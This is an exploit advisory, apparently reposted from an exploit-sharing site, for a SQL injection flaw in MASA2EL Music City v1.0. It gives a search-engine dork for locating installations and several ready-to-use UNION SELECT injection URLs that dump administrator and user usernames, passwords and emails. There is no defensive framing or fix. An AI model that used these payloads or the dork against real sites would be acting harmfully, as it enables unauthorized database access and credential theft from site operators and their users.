MASA2EL Music City v1.0 Remote Sql Injection Vulnerability

==========================================================
MASA2EL Music City v1.0 Remote Sql Injection Vulnerability
==========================================================

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability
Author: alnjm33
Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4
Tested on: Version 1.0
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                                 (Powered By : MASA2EL Music City 1.0 )

=======================================================================================

>>|~[SQL]
    Admin Info :
http://localhost/Path/index.php?go=singer&id=-13 union select 0,concat(UserName,0x3a,PasSword),2,3 from masa2el_admin--
http://localhost/Path/index.php?go=singer&id=-13 union select 0,concat(UserName,0x3a,PasSword),2,3 from masa2el_user--

    User Info :
http://localhost/Path/?cat=-999999999 union select 0,concat(UserName,0x3a,PasSword,0x3a,email),2,3 from masa2el_user--
http://localhost/Path/?cat=-999999999 union select 0,concat(UserName,0x3a,PasSword),2,3 from masa2el_admin--




#  0day.today [2018-03-01]  #